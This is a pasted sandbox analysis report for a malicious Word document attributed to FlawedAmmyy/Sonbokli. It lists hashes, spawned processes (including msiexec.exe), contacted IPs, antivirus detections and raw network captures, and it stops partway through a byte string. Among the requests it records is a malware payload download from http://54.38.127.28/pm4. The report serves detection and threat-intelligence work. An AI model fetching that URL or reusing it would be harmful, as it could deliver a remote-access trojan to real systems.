API tools faq
paste
paladin316

flawedammyy_987bd2361c0ed6e05400b027c113be44_doc.json

paladin316
Jun 20th, 2019
2,282
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 327.18 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: "Sonbokli"
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "flawedammyy_987bd2361c0ed6e05400b027c113be44.doc"
  7. [*] File Size: 96768
  8. [*] File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Template: Normal.dotm, Last Saved By: 1, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Jun 19 16:14:00 2019, Last Saved Time/Date: Wed Jun 19 16:14:00 2019, Number of Pages: 1, Number of Words: 23, Number of Characters: 134, Security: 0"
  9. [*] SHA256: "a47e8a10f7d3b572659126d1c2e01ee500010692db3bea1b21a66ea1e5e8f474"
  10. [*] MD5: "987bd2361c0ed6e05400b027c113be44"
  11. [*] SHA1: "8da24bc7e6ec3e2bed82adcc7bb43e8609d4ca39"
  12. [*] SHA512: "b91a96d4981cd2c77c13d25a2c7c47415e6a18961caf1c12d1d4c6de3bcdf7515d344a6d1d2215153abe1688ff6ea802606681eab6266c3a60a1c6c3b4026032"
  13. [*] CRC32: "F466B401"
  14. [*] SSDEEP: "768:gA7VFGiSYyZCjDKq4VGFUizPtLwrl2jIZ7b4/WerssRpExqcJrTMV1G7ppp2MVkV:HI9CjDKq4MvtmwEZ7b4OedEeuXMlMiY"
  15.  
  16. [*] Process Execution: [
  17. "WINWORD.EXE",
  18. "msiexec.exe"
  19. ]
  20.  
  21. [*] Signatures Detected: [
  22. {
  23. "Description": "Attempts to connect to a dead IP:Port (10 unique times)",
  24. "Details": [
  25. {
  26. "IP": "52.109.20.1:443"
  27. },
  28. {
  29. "IP": "96.16.208.28:443"
  30. },
  31. {
  32. "IP": "65.52.98.231:443"
  33. },
  34. {
  35. "IP": "104.18.24.243:80"
  36. },
  37. {
  38. "IP": "23.204.188.191:443"
  39. },
  40. {
  41. "IP": "23.63.254.64:80"
  42. },
  43. {
  44. "IP": "72.21.91.29:80"
  45. },
  46. {
  47. "IP": "104.73.164.151:443"
  48. },
  49. {
  50. "IP": "52.109.2.18:443"
  51. },
  52. {
  53. "IP": "23.63.254.59:80"
  54. }
  55. ]
  56. },
  57. {
  58. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  59. "Details": [
  60. {
  61. "ioc": "ist.glox"
  62. },
  63. {
  64. "ioc": "ontent.inf"
  65. },
  66. {
  67. "ioc": "architecture.glox"
  68. },
  69. {
  70. "ioc": "mlaseventheditionofficeonline.xsl"
  71. },
  72. {
  73. "ioc": "ext.glox"
  74. },
  75. {
  76. "ioc": "pictureorgchart.glox"
  77. },
  78. {
  79. "ioc": "gosttitle.xsl"
  80. },
  81. {
  82. "ioc": "iso690nmerical.xsl"
  83. },
  84. {
  85. "ioc": "harvardanglia2008officeonline.xsl"
  86. },
  87. {
  88. "ioc": "sist02.xsl"
  89. },
  90. {
  91. "ioc": "rocess.glox"
  92. },
  93. {
  94. "ioc": "iso690.xsl"
  95. },
  96. {
  97. "ioc": "rid.glox"
  98. },
  99. {
  100. "ioc": "..3b"
  101. },
  102. {
  103. "ioc": "adial.glox"
  104. },
  105. {
  106. "ioc": "rings.glox"
  107. },
  108. {
  109. "ioc": "gb.xsl"
  110. },
  111. {
  112. "ioc": "ieee2006officeonline.xsl"
  113. },
  114. {
  115. "ioc": "e.gu"
  116. },
  117. {
  118. "ioc": "gostname.xsl"
  119. },
  120. {
  121. "ioc": "ccent.glox"
  122. },
  123. {
  124. "ioc": "chevronaccent.glox"
  125. },
  126. {
  127. "ioc": "chicago.xsl"
  128. },
  129. {
  130. "ioc": "rame.glox"
  131. },
  132. {
  133. "ioc": "quations.dotx"
  134. },
  135. {
  136. "ioc": "turabian.xsl"
  137. },
  138. {
  139. "ioc": "rc.glox"
  140. },
  141. {
  142. "ioc": "nline.xsl"
  143. },
  144. {
  145. "ioc": "anded.thmx"
  146. },
  147. {
  148. "ioc": "content.inf"
  149. },
  150. {
  151. "ioc": "set.dotx"
  152. },
  153. {
  154. "ioc": "iew.thmx"
  155. },
  156. {
  157. "ioc": "asis.thmx"
  158. },
  159. {
  160. "ioc": "rame.thmx"
  161. },
  162. {
  163. "ioc": "eadlines.thmx"
  164. },
  165. {
  166. "ioc": "etropolitan.thmx"
  167. },
  168. {
  169. "ioc": "rop.thmx"
  170. },
  171. {
  172. "ioc": "arallax.thmx"
  173. },
  174. {
  175. "ioc": "ividend.thmx"
  176. },
  177. {
  178. "ioc": "ype.thmx"
  179. },
  180. {
  181. "ioc": "erlin.thmx"
  182. },
  183. {
  184. "ioc": "adge.thmx"
  185. },
  186. {
  187. "ioc": "uotable.thmx"
  188. },
  189. {
  190. "ioc": "avon.thmx"
  191. },
  192. {
  193. "ioc": "roplet.thmx"
  194. },
  195. {
  196. "ioc": "ircuit.thmx"
  197. },
  198. {
  199. "ioc": "g.n9"
  200. },
  201. {
  202. "ioc": "amask.thmx"
  203. },
  204. {
  205. "ioc": "late.thmx"
  206. },
  207. {
  208. "ioc": "eathered.thmx"
  209. },
  210. {
  211. "ioc": "esh.thmx"
  212. },
  213. {
  214. "ioc": "vent.thmx"
  215. },
  216. {
  217. "ioc": "rail.thmx"
  218. }
  219. ]
  220. },
  221. {
  222. "Description": "File has been identified by 6 Antiviruses on VirusTotal as malicious",
  223. "Details": [
  224. {
  225. "NANO-Antivirus": "Trojan.Ole2.Vbs-heuristic.druvzi"
  226. },
  227. {
  228. "Microsoft": "Trojan:O97M/Sonbokli.A!cl"
  229. },
  230. {
  231. "Endgame": "malicious (high confidence)"
  232. },
  233. {
  234. "TACHYON": "Suspicious/W97M.Downloader.Gen"
  235. },
  236. {
  237. "Zoner": "Probably W97Shell"
  238. },
  239. {
  240. "SentinelOne": "DFI - Suspicious OLE"
  241. }
  242. ]
  243. },
  244. {
  245. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  246. "Details": [
  247. {
  248. "ip_hostname": "HTTP connection was made to an IP address rather than domain name"
  249. },
  250. {
  251. "suspicious_request": "http://54.38.127.28/pm4"
  252. },
  253. {
  254. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  255. },
  256. {
  257. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  258. },
  259. {
  260. "suspicious_request": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  261. },
  262. {
  263. "suspicious_request": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D"
  264. }
  265. ]
  266. },
  267. {
  268. "Description": "Performs some HTTP requests",
  269. "Details": [
  270. {
  271. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  272. },
  273. {
  274. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  275. },
  276. {
  277. "url": "http://54.38.127.28/pm4"
  278. },
  279. {
  280. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
  281. },
  282. {
  283. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
  284. },
  285. {
  286. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
  287. },
  288. {
  289. "url": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D"
  290. }
  291. ]
  292. },
  293. {
  294. "Description": "The office file has a unconventional code page: ANSI Cyrillic; Cyrillic (Windows)",
  295. "Details": []
  296. },
  297. {
  298. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  299. "Details": [
  300. {
  301. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\x8e\\xbb\\xb6\\xe4\\xcb\\xd9\\x83m\\xf0\\xfde\\x11\\xc1\\x8fhp\\xee\\xe4x\\xdc\\x98\\x00t\\xa9:el\\xac\\x83\\x05\\xab6l\\xc7e\\x0c\\xa7\rt:\\xc8\\xb8\n\\x14\\xd2\\xbdr\\x00\\xba2\\xc0\\xbf\\x93=\\x1a\\xb0\\xb4l\\xbd\\xb5\\xe5\\x0e\\xa2\\xd8\\xd0 \\x89e\\xb6\\xbc(\\xecd\\x06s\n\\xc4\\xc7\\xcd\\xb0\\x93\\xac9\\xa9o\\x14&\\xef/\\xd0\\x13\\xd4e\\xc8\\xa4[^5\\xd5t\\x9d\\xb8q3\\xa5\\xb4w\\x0fm\\x83\\xc5wekz;\\x997y\\xc1\\x8c4\\xfe7e\\xdc\\xaee\\x83\\xb5\\x9fw#j\\xeb\\xd2\\xf4\"\\xa3\\\\xb9\\x81t\\xbb\\x10\\xc4&n\\xed&m\\xed\\x12,~\\xb0y\\x18\\xf7\\xf3\\x9cov\"r\\xef\\x9a\\xc6\\x14\\x97\\xfeie\\xd4\\x07\\x0b\\x01\\xec`w\\xcfv\\xaf\\xe5\\x98\\x17\\x02k\\xec\\xd4\\x8b$\\xb4\\xde\\xf2\\xfc\\x1f\\xf1\\xf5\\xa8\\xc8in\\xe0\n\\x00\\xc1\\xd3\\xba\\x0e&\\x1dz\\x15\\xa6n\\xccmt\\xca\\xf0w\\x06\\xe1\\x8a2\\xfc\\xd3\\x87\\xcdm\\xe5\t>\\xa1\\xa1\\x97%\\xedfmq\\x04\\xf0\\xfc&\\x8a\\xb6kp\\x9f"
  302. },
  303. {
  304. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01]\\x0b\\x9c\\xd9\"\\xf7\\xd0\\xf7\\x12\\xd48\\xf5q\\xb4\\x07c{\\x8c\\x80s\\x12\\xc2-_v,\\xc1\\xdc\\x8b\\xfc\\x86m\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  305. },
  306. {
  307. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04k0y\\xfc\\x01\\xb1w\\xddd\\xc3\\x902\\x97\\xd8\\xe5\\xe8\\x9e\\x03\\x9fm\\xeb:\\x13v\\xc8\\xf1\\xd4\\xa2\\xe8l\\xca!\\x85]{\\x0b\\xae\\xbc\\x03\\xc5\\xfa\\xd6\\xe9\\:\\xd8\\x8e\\x0b\\x14\\x9b-uj\\xfa\\xdf\\d\\xbbh \\xca\\x8c\\x15b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa8\\xa5\\x97\\x1f}\\x94\\xdd\\x03ry\\x1a\\x99\t\\xc8\\x1f\\xbc\\x92\\x0e\\xaa\\xc9q\\xc8g\\xb0\\x80l\\xe8\\x8e\\xdd\\xef\\xb3\\xf4\\xff\\xc0\\x7f3i\\x97\\x01\\x03\n\\xf2\\xaa6ms\\xb4r"
  308. },
  309. {
  310. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01]\\x0b\\x9c\\xdae\\x81\\xaa\\x8ff\\xdeq\\x84\\xe8\\xcd\\x8a\\x89<n?_`\\x03\\xe8r\\x02\\xb5\\xe2\\xb1\\x8b\\xa2\\x92\\x8f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  311. },
  312. {
  313. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04&}\\xca,s\\x05\\xf30\\xd0fd\\xe7\\xd05\\xe0&\\x85c\\xd6`cq\\x880\\x16\\xb5\\xc3v\\xa4^u\\x1b\\xaa\\xdf\"\\x91\\xe9a'\\x01\\xb2\\xd6\\x9d\\x93\\xf8\\xfao=\\x18viy\\x11\\x0f\\x11vd\\x0f<9\\xf6\\x86\\xa5\\x05\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1f>7\\xd1\\x14\\x81\\xed]lw\\xe0p\\xc1\\xd5\\x03d\\x04\\x03\\x86\"\\x8ff\\xf6v\\xed\\xb2v\\xa9\\xfd\\xd6\\x14\\x10\\x04\\x81%\\x8a\\xad;\\x9a\\x16\\xd46\\xa5x\\x8br\\xdd\\xcc"
  314. },
  315. {
  316. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  317. },
  318. {
  319. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xa4\\xc7\\xec\\x95#\\x10\\x94\\xa6\\xb4a\\xd7\\xdc?~\\xe2\\xbf\\xb6\\x0bi`\\x91j\\xefc\\xeau\\xf5\\x1e!\\xbe\\x16\\xa5,:\\x9am\\x94<\\x01\\x14\\x17-\\xa1^\\xb5\\xc9b\\x88\\xa8*\\xb2e\\xce\\xf5\\x1cj\\xca\\xd5\\xa4\\xbb\\x95pp\\xc5tb2\\xd8\\x97\\x97\\xfa\\xeam\\xe4ou\\xac!\\xe5|\\x1ao\\xa1>/\\xeco$9*\\xef\\x80\\xfa\\xbc}\\x07.\\x1e\\xaf\\x92no@\tw\\x9f\\xa0\\xc9^ ^:\\x8e\\xfa\\xa5t\\x9b\\xc2s]\\xef\\x84\\x12c\\xdd\\xd7\\x1506hx\\x90\\x8c~\\xc7\\xe8\\x13\\x13\\xc5a.\\x1d{{\\xe6\\x8dq3\\xd6\\xd0\\xad\\\\x1dw\\xcb\\x19\\xe87\\xfe\\x0e\\xc2*`n\\xd45\\xc8\\xfe\\x9dt\\xb3<\\xac+b\\x1b\\xe0'{\\xd5\\xa1\\xc0\\x04\\x1d\\xc2\\x83\\x07\\x8et\\x93\\xect\t\\x94x\\x8b\\x0f\\x96$\\x8cv\\x15$1\\x1e\\xd75\\xad\\xf4\\xc3\\xe3|\\xc5({\\xcb/\\x937\\x0e\\xc2\np\\x9e-\\xe0\\xa9\\x92\\xb9\\x1db\\xe3\\xde|hv_\\xb0\\x1a\\xe1\\x9a\\x17\\xa2%s\\xa6\rfh\\x97\\xee"
  320. },
  321. {
  322. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  323. },
  324. {
  325. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pqj\\xbe\\x85\\xd3\\x00\\xe7\\xaf;\\x08\\x95\\xef\\xa7\\xb4\\xc5\\xf9\\x80\\xd9\\x04\\x82\\xfe9}i\\x99\\xc3\\xed\\xc3m\\xce\\x9a\\xff\\x92\\xe6\\x13\\x92\\x99\\xf3\\\\x01\\xa2\\x07\\xce\\xd3\\x14u\\xbe\\xb7f\\xda\\x1b\\x9c\\xe35\\x12)v\\x8b\\xf1\\xf5fu\\x08>un'=+\\xba\\xa2\\xa9\\xf8i._\\x03\\xa1\\xb7\\x08\\x15bga\\x1f\\xe7m\\x88\\xe7\\xf2ti\\xa8\\x03\\xe1\\xad\\x1e\\x97*o\\xe4\t2\\xbeq\\xb2!\\xd8\\x01\\xd7t\\xad\\x19hd\\xed\\x95\\xaaj,\\x91\\x06i+\\xd18\\xb8\\x9f-\\x99\\x8e\\x91\\xe7\\xd2\\x1e\\x10\\x14b\\xaa\\xed \\xbc/|\\xd5\\xe3\\xdc\\x1evhl$]\\x03gw\\xfd&\\xe9\ncwa\\xad(\\x96c\\xd7\\xfe\\xc1\\x11\\x9c\\x0f\\xe3\\x9d\\x0e:\\x8cs\\x1bv\\x0f\\xb7z\\xe0\\xd0\\x16z\\xabs\\xf4\\xfe<\\x858p\\xe2\\xf1-\tu.8\\x82\\x1c\\xf9\\xe1\\xeb(\\xf65\\xb7\\xa1\\x99\\xad\\xc7\\x8c\\x7fx\\xe4\\xd2\\x19\\x186r\\xc4tl\\xf7\\x1c7\\x00d\\x0c\\xec\\xc2\\xc8\\xec\\xfbg\\xb7\\xf8\\x1e\t\\xd2\\xb13\\xc4<\\xc3u"
  326. },
  327. {
  328. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\xd6\\xea\\xe2\\xa2\\x8ah\\x16\\xc2\\xc9\\x9e\\xfc=\\x13\\xbc\\x9ej\\xb2\\x89w\\x18\\xfb9\\xa16\\xaej*\\x17\\xe5\\xd3z\\x1d\\xef:\\xea\\xa81k\\x91\\xd1\\xd1c\\xe7*\\xb7&ocz\\xdb\\xc0\\x0b5|9\\xb6\\xe7wu\\xb82\\x96\\xb2\\xa2b\\x92c(\\xda\\xd9\\xbd\\xab\\x87\\xc9\\xf1\\xefa\\xd50\\x9f\\x06\\xb3\\xd5\\xcc\\xf1\\xee\\xf2\\x07\\xed\\\\x00qk\\x0b,e\\xbe\\x96=\\xa2\\x1bk\\xa18\\x84j\\xf3\\xf2\\xc8\\xfex\\x10\\x13\\x87\\xe6\\xdc\\xa5\\x08-\\xf4\\x98\\xca)!q]4\\x83\\x9d\\x83\\xddm\\xd0z\\xf2\\xbc\\q\\xbdk\\xd3%\\xc1q\\xcdl\\x06;\\xbb\\xecw=rz\\xf7\\x08h\\x94\\xc2\\x14\\xa3\\x8d\\\\xd0eakng\\x04`\\x05^\\xb9\\xa3(\\x99\\x90\\x95\\xadl\\xaak\\x18\\x94\\x8f\\xcb0\\xd6^\\x90\\xbf\\xb8\\xa0\\xd7\\x00\\xack\\xe2\\xb8\\xea\\x99\\xbdui~\\x19u\\x9a\\xe2f\\x02c\\x12\\x12\\x9c\\xb8k\\xcc\\x07\\xf7s)g\\x03\\xbe1\\x9e.\\xe3\\xc0[\\x84pivo\\xd0\rru\\xa8\\xb1rv\\xda\\x98\\xd7\\x8ac\\x1f"
  329. },
  330. {
  331. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00{\\x03\\x01]\\x0b\\x9c\\xe18\\xf2\\xa3e\\xdbl9\\x864\\x1dj\\x80\\x8e\\x1a\\x1a8\\xbf\\xd1^t\\xd3u\\x1c\\xa5\\xcd\\xa2\\xcfk\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  332. },
  333. {
  334. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00\\x1a\\x17iq\\x8c\\x8d1|k\\xbe\\xad:k\\xf0\\xac\\x90\\xcaj\\xeau}\\xb3\\x83\\xe4\\xd1\\x1a\\xa8\\xea\\x9c\\xdab6\\xe0\\xa1\\xa4\\xd4.\"\\xa2#\\xc6\\xad\\x97\\x13k\\x8b\\xcca\\xb9\\xd0w\\x08?\\xbc\\x9c\\xd8'\\x0cx\\xbe\\x0f!\\xc7\\x1ao<>\\x8e\\x91t\\xfei\nkk]kxu\\xaf\"\\xf4\\x10\\x15\\xce\\xcb\\x1d\\x80\\xb6<\\xd3\\x0cr\\x92\t\\xb3v\\xbb\\xdfde:;\\xc4j,\\x89\\x12\\x0c\\xb0\\xee\"\\xc3\\x1e\\xac\\x95\\xa95\\xf0o\\x85kr\\xb9\\x8b\\xd4,a\\xa2a\\x1c\\xc8\\xe1\\xad\\x16\\x83\\\"g\\x9c|u\\xd0\\xcb\\x12\\x1c\\xed\\xd4\\xec\\xa3\\x01\\xcdu\\xd8\\xd3\\xfe\\xbe}bo\\xab\\xa0\\xb6\\xfc\\xb2\\x91\\xfed\\x9cw)xo<\\x1d5\\xe2{\\,\\x93n\\xa0b;t\\xed\\xd1.\\x0fk)rl[ \\x0fm%\\x9b\\xbb\\xf1g\\x15=d/a\\x12\\xcb\\xf2\\xd5\\xc0w\\xac\\xdf\\xaa#\\x94\\x88$\\xca\\xe9\\xd5\\x1bym&\\x19 ax\\xdf\\x15p\\xdf\\x11a\\xcdl&p*\\xa8\\x8a"
  335. },
  336. {
  337. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`m\\xff@\\xee\\xfb!\\xf5o\\x9c\\xa3\\xbf\\x9c\\x00\\x87\\xdf\\xb9h\\x13\\x02]\\x8c@\\x11\\xe7\\xe6\\xd1(=\\xd3ep\\xb8j}i\\xe2\\xfd\\x95wyt\\xe3\\x9bfl\\xbb\\x93\\xdc\\xe3\\xb1\\xb1.\\xe0~=.\\x05n\\xda\\x18\\x9e0f\\xb6\\xa6vl(\\xd5uesq\\x94\\xff\\xb9\\xd32\\xec\\xc5\\xf0,e$^\\xc9\\x84\\xeb\\x1bxt\\xba\\x0c\\x1f2\\x90\\x82\\x92lw\\x1a\\xf3\\x13\\x1f\\x8f^y\\xec\\xc4\\xf6\\xf5\\xfe\\x89\\xd3u\\xd0\\xfae\\x88\\xb3\\x86\\x16\\xe5\\xd2\\x9e\r,\\xaaca\\xc3`\r\\xfdd\\x81\\xae\\xe0\\x1fv\\x0f,a\\x84\\x1e\\xa67f\\x18\\x02\\x00~\\x05\\xfb\\xf6#\\x96\\xb8=\\xe6\\xa2\\xba2\\xf8\\xfe0\\x1bkx\\xcfx\\xe3\\x85f\\x14\t7\\xaf|v\\xba\\xbb\\x82lf\\x8a\\xc4\\x1e\\xae\\xdf9\\x0cn\\xaf)-8\\x0b\\xc0i\\xf2\\x84\\xbd\\x17\\xf3\\xbbcep=\\xd2\\x92l\\x14\\x85\\xbd\\\\x14/\\xe1i\\xcb]\\xb8\\xbe]\\xa8\\xa3\\x03\\x18._e?\\x8a~?\\x0b\\x99kp\\xe8\\xd7c\\x8ds\\xcd2kd\\x16"
  338. },
  339. {
  340. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019p\tj9(\\x838-\\xc0z\\xe9rz$7\\xa5\\xe9\\xa5\\x9c-\\x96\\xe3#\\xce^,\\xa6\\x93\\xb4\\x9c\\xc6\\xf1\\x9bywp\\x97\\xb9\\xf1\\xfe\\x19\\xfc\\x14\\xaf\\x95\\xcd\\xea\\xb2\\x19&%\\x0cu\\xdc\\x11'\\xc8!\\x18\\xad8\\xfc\\xbd\\xbc\\x04dzo\\xed\\x14\\x80y\\xb4\\xad`(\\x1a\r\\xf7\\xaccp(\\xea{\\x8b\\xa9\\xd1-\\xa3\n \\xc8\\xf8\\xd0\\xd8[\\xdc\\x8etv\\xa6\\xf4\\xde\\xd8]g\\x7f\\xf1\\xb2j\\x9d\\xc6\\x86^z\\x8f\\x80\\xd37p\\x93\\xad\\xc8\\xcb\\xc86j\\xda\\xa5\\xd6e\\x0eh\\x98\\xf3((\\xd4**)8\\xdd\\xd8\\xaao\\x85\\xf7\\xb6\"\\xe0<r\\xd6\\xc1j\\x04\\xa5\\xb5#f\\xafw\\x97j\\x1a\\xe4\\xd6\\xbc\\xf7\\x0b5\\xc3\\xa4k\\xa9n\\xc6\\xee\\x93\\x85\\x85\\xa0\\x0f\\x94\\xa7\\xe7\\xe4\\xdb\\x9e\\xf0\\x85\\x92\\x04[\\xea|\\xb6d\\x12!p9o!\\x1e\\x00\\xdd([\\xfd\\xf2\\x1ew\\x99\\xa5\\xf7\\x9ao\\x82y\\xbb\\xb0\\x1e\\x82\\x08\\xf3bj\\x16\\x00l\\x8ed\\xe8/3\\xcd\\x80ifd_\\x1e\\x08|\t\\xb5\\xddx\\xc9"
  341. },
  342. {
  343. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00}\\x01\\x00\\x00y\\x03\\x01]\\x0b\\x9c\\xe3\\xd89\\xd0\\x8e\\xb9\\xcc\\x91\\xd3\\x82\\xc0\\xf6\\xbc\\xb7\\xa5r\\x1d\\xd3y\\xe7\\x1b*+7q\\xcf\\x0fn\\xef\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  344. },
  345. {
  346. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb1\\xc0\\x95\\x92\\xa7fr\\xc0]]<\\xa6\\xfb\\xa3wu)b@o\\xa2\\xbf\\xc1&26\\xcdb\\x9c\\x92\\xc8\\xd7\\x08\\xee\\x1at\\x14h\\x885\\xa7\\xaa\\x077 @\\x1b\\x10\tc\\xd9\\xcb\\xb0\\x92\\xed8\\xe5\\xba\\xa6c(94\\xac\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbf\\xd3\\xf5\\xcd\\x9b!\\xe1\\x81\\xf95\\xa4x\\xc1n\\x1ci`}\\xafz]v\\xb4\\xf6\\xb2~<\\xdfi\\xc8\\xb5\\xd7\\xf6\\x10\t\\xc2\\xc3\\xc6u9y \\xdd\\xa37\\xf8\\xec\\x0e"
  347. },
  348. {
  349. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01px\\x9c\\xba\\xf4\\x01]\\xa7\\x1cx:\\xb9\\xd3'\\xeb\\xf2\\xc0\\x85\\x98\\x00\\xc8nd2l\\xd6\\x08\\xd6\\xbfp\\xad\\xf2\\xde\\xb7\\x7f\\xab\\xdc\\xa0\\xcd\\x0b\\xd7\\xa1x8\\x89x\\xc0j\\x11\\xd0\\\\xe5jm|\\xc7\\xc6#\\xdfrj\\x87l:<c\\xa6\\xa0\\xa1j\\x8b\\xc1\\xedkge\\xe0\\x95b\\xa0i\\xcc\\x8a\\x95|(\\x10\\x98\\x1e\\x0ci\\xe6\\xd9\\x8a\\xd8\\x8e\\x15g\\xab\\xf5\\xe5=\\xbd\\xa4\\xf3j\\xe3\\xba\\xd2 